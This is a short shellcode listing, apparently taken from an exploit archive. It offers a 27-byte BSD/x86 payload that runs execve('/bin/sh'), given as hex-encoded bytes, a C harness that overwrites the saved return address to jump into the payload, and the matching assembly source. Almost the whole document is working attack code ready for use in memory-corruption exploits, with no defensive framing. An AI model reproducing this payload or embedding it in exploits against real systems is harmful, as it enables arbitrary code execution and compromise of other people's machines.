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bsd/x86 execve /bin/sh multiplatform 27 bytes
[=============================================
bsd/x86 execve /bin/sh multiplatform 27 bytes
=============================================
/* execve_sh.c by n0gada
27 bytes.
*/
#include <stdio.h>
char shellcode[]=
"\xeb\x0d\x5f\x31\xc0\x50\x89\xe2"
"\x52\x57\x54\xb0\x3b\xcd\x80\xe8"
"\xee\xff\xff\xff/bin/sh";
int main(void)
{
int *ret;
printf("%d\n",strlen(shellcode));
ret = (int *)&ret+2;
*ret = (int)shellcode;
return 0;
}
/*********************************************
execve_sh.s
.globl main
main:
jmp strings
start:
pop %edi
xorl %eax,%eax
push %eax
movl %esp,%edx
push %edx
push %edi
push %esp
movb $0x3b,%al
int $0x80
strings: call start
.string "/bin/sh"
*********************************************/
# 0day.today [2024-12-28] #